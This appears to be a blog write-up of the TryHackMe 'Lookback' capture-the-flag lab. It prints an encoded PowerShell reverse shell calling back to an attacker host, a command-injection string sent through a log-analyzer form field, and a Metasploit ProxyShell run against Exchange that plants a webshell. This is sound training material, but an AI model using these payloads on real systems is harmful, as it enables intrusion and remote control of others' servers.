Skip to main content
HashnodeCyberWithSharon

Command Palette

Search for a command to run...

ChallengeLookback (TryHackMe)

Updated
•6 min read•View as Markdown
ChallengeLookback (TryHackMe)
J
Jebitok
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge: Lookback

The Lookback company has just started the integration with Active Directory. Due to the coming deadline, the system integrator had to rush the deployment of the environment. Can you spot any vulnerabilities?

Start the Lab Machine by pressing the Start Lab Machine button at the top of this task. You may access the VM using the AttackBox or your VPN connection. This machine does not respond to ping (ICMP).

Can you find all the flags? The VM takes about 5/10 minutes to fully boot up.

Sometimes to move forward, we have to go backward. So if you get stuck, try to look back!

Answer the questions below

What is the service user flag?

nmap -p- -sV IP_Address

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
443/tcp  open  ssl/https
3389/tcp open  ms-wbt-server Microsoft Terminal Services

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

  • nothing helpful
curl -i http://IP_Address/thispagedoesnotexist12345
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/10.0
Date: Thu, 03 Sep 2026 06:24:32 GMT
Content-Length: 0

gobuster dir -u https://IP_Address -k -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,asp,aspx

map -p 88,389,636,3268,3269,5985,5986 -sV -Pn IP_Address

PORT     STATE    SERVICE          VERSION
88/tcp   filtered kerberos-sec
389/tcp  filtered ldap
636/tcp  filtered ldapssl
3268/tcp filtered globalcatLDAP
3269/tcp filtered globalcatLDAPssl
5985/tcp filtered wsman
5986/tcp filtered wsmans

 gobuster dir -u http://IP_Address -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x aspx,asp,txt -b 401,403 -t 30

/ecp                  (Status: 302) [Size: 211] [--> https://IP_Address/owa/auth/logon.aspx?url=https%3a%2f%2fIP_Address%2fecp&reason=0]

curl -ik -u admin:admin "https://IP_Address/test/"
HTTP/2 200 
cache-control: private
content-type: text/html; charset=utf-8
server: Microsoft-IIS/10.0
x-aspnet-version: 4.0.30319
x-powered-by: ASP.NET
date: Thu, 03 Sep 2026 07:13:13 GMT
content-length: 1109

<html>
<body>    
<form method="post" action="./" id="ctl00">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJNjIzMDE2ODg3ZGSWSeGk1vk4Y53LqQzuKQcQa5Jp9pKGb1FJB+g+pXS6VA==" />

<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="297DB184" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEdAAMGwu8BofcI5Qw5wgkjqifJZhKn2xIin3da/xugJk3mFmNW1/g3lL93h5ozWJAQom/jGvQ4QLlLMgb6aee6IKlJ5MpLfMCV1A0CJL1RsHAVkA==" />        
<h1><p><span id="L_p" style="display:inline-block;">This interface should be removed on production!</span></h1>
<p><span id="L_f" style="display:inline-block;">THM{Security_Through_Obscurity_Is_Not_A_Redacted}</span>
<b><p><span id="L_flag" style="display:inline-block;">LOG ANALYZER</span></b></b>
<p><span id="L_a" style="display:inline-block;">Path:</span>        
<input name="xlog" type="text" value="BitlockerActiveMonitoringLogs" id="xlog" />        
<p><input type="submit" name="Button" value="Run" id="Button" />        
<p><span id="result"></span>       
</form>
</body>
</html>

What is the user flag?

nc -lvnp 4444

IP="AttackBox_IP"
PORT="4444"
PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('$IP',$PORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAxADQALgAxADEAMwAuADEAMAA0ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

curl -ik -u admin:admin "https://IP_Address/test/" \
  --data-urlencode "__VIEWSTATE=/wEPDwUJNjIzMDE2ODg3D2QWAgIBD2QWAgINDw8WAh4EVGV4dAXkAg0KPHByZT5HZXQtQ29udGVudCA6IENhbm5vdCBmaW5kIHBhdGggJ0M6XHgnIGJlY2F1c2UgaXQgZG9lcyBub3QgZXhpc3QuCkF0IGxpbmU6MSBjaGFyOjEKKyBHZXQtQ29udGVudCgnQzpceCcpOyB3aG9hbWk7ICgnJykKKyB+fn5+fn5+fn5+fn5+fn5+fn5+CiAgICArIENhdGVnb3J5SW5mbyAgICAgICAgICA6IE9iamVjdE5vdEZvdW5kOiAoQzpceDpTdHJpbmcpIFtHZXQtQ29udGVudF0sIEl0ZW1Ob3RGb3VuZEV4Y2VwdGlvbgogICAgKyBGdWxseVF1YWxpZmllZEVycm9ySWQgOiBQYXRoTm90Rm91bmQsTWljcm9zb2Z0LlBvd2VyU2hlbGwuQ29tbWFuZHMuR2V0Q29udGVudENvbW1hbmQKIAp0aG1cYWRtaW4NCg0KPC9wcmU+ZGRkuLWnr+dJZK/wldBB9KhzJMXTd9hQO/TET0XcnuxJ+ks=" \
  --data-urlencode "__VIEWSTATEGENERATOR=297DB184" \
  --data-urlencode "__EVENTVALIDATION=/wEdAAN/Z2ua29ROfmeFH0glvC5QZhKn2xIin3da/xugJk3mFmNW1/g3lL93h5ozWJAQom8ymX3RnL1dn6X9Ughg9YBAXFmKkQMrb5Wz/lq0e/CUfQ==" \
  --data-urlencode "xlog=x'); powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAxADQALgAxADEAMwAuADEAMAA0ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==; ('" \
  --data-urlencode "Button=Run"

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 11229
id
PS C:\windows\system32\inetsrv>

PS C:\windows\system32\inetsrv> whoami /all

USER INFORMATION
----------------

User Name SID                                           
========= ==============================================
thm\admin S-1-5-21-2402911436-1669601961-3356949615-1149

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                                           Attributes                                        
=========================================== ================ ============================================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                          Well-known group S-1-5-3                                                       Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                               Well-known group S-1-2-1                                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                           Alias            S-1-5-32-568                                                  Mandatory group, Enabled by default, Enabled group
LOCAL                                       Well-known group S-1-2-0                                                       Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\DefaultAppPool                  Well-known group S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448                                                                                                     

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token      Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege     Add workstations to domain         Disabled
SeAuditPrivilege              Generate security audits           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\windows\system32\inetsrv> 

PS C:\windows\system32\inetsrv> dir C:\Users\
dir "C:\Users\dev\Desktop\"
type "C:\Users\dev\Desktop\TODO.txt"

    Directory: C:\Users

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        1/25/2023  12:54 PM                .NET v4.5                                                             
d-----        1/25/2023  12:54 PM                .NET v4.5 Classic                                                     
d-----        3/21/2023  11:40 AM                Administrator                                                         
d-----        2/21/2023  12:31 AM                dev                                                                   
d-r---        1/25/2023   8:15 PM                Public                                                                

    Directory: C:\Users\dev\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        3/21/2023  12:28 PM            512 TODO.txt                                                              
-a----        2/12/2023  11:53 AM             29 user.txt                                                              

PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\user.txt
PS C:\windows\system32\inetsrv> C:\Users\dev\Desktop\TODO.txt
PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\TODO.txt
Hey dev team,

This is the tasks list for the deadline:

Promote Server to Domain Controller [DONE]
Setup Microsoft Exchange [DONE]
Setup IIS [DONE]
Remove the log analyzer[TO BE DONE]
Add all the users from the infra department [TO BE DONE]
Install the Security Update for MS Exchange [TO BE DONE]
Setup LAPS [TO BE DONE]

When you are done with the tasks please send an email to:

joe@thm.local
carol@thm.local
and do not forget to put in CC the infra team!
dev-infrastracture-team@thm.local
PS C:\windows\system32\inetsrv> 

PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token      Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege     Add workstations to domain         Disabled
SeAuditPrivilege              Generate security audits           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled
PS C:\windows\system32\inetsrv> 

PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\user.txt
THM{Stop_Reading_Start_Redacted}

What is the root flag?

msfconsole
use exploit/windows/http/exchange_proxyshell_rce
set RHOSTS 10.112.135.173
set LHOST 10.112.79.173
set LPORT 5555
set EMAIL dev-infrastracture-team@thm.local
set SSL true
run

msf exploit(windows/http/exchange_proxyshell_rce) > run
[*] Started reverse TCP handler on 10.112.79.173:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target is vulnerable
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: win-12ouo7a66m7.thm.local
[*] Assigning the 'Mailbox Import Export' role via dev-infrastracture-team@thm.local
[+] Successfully assigned the 'Mailbox Import Export' role
[+] Proceeding with SID: S-1-5-21-2402911436-1669601961-3356949615-1144 (dev-infrastracture-team@thm.local)
[*] Saving a draft email with subject 'bLdU4tIy' containing the attachment with the embedded webshell
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\98BdN7vq0.aspx
[*] Waiting for the export request to complete...
[+] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (248902 bytes) to 10.112.135.173
[+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\98BdN7vq0.aspx
[*] Meterpreter session 1 opened (10.112.79.173:5555 -> 10.112.135.173:8838) at 2026-09-03 09:03:54 +0000
[*] Removing the mailbox export request
[*] Removing the draft email

meterpreter > 

meterpreter > shell
Process 6992 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>where /r C:\ *.txt | findstr /i flag
where /r C:\ *.txt | findstr /i flag
C:\Users\Administrator\Documents\flag.txt

c:\windows\system32\inetsrv>type C:\Users\Administrator\Documents\flag.txt
type C:\Users\Administrator\Documents\flag.txt
THM{Looking_Back_Is_Not_Always_Redacted}
#ctf-writeup#tryhackme#metasploit#windows#linux

Comments

Join the discussion

No comments yet. Be the first to comment.

More from this blog

C

CyberWithSharon

552 posts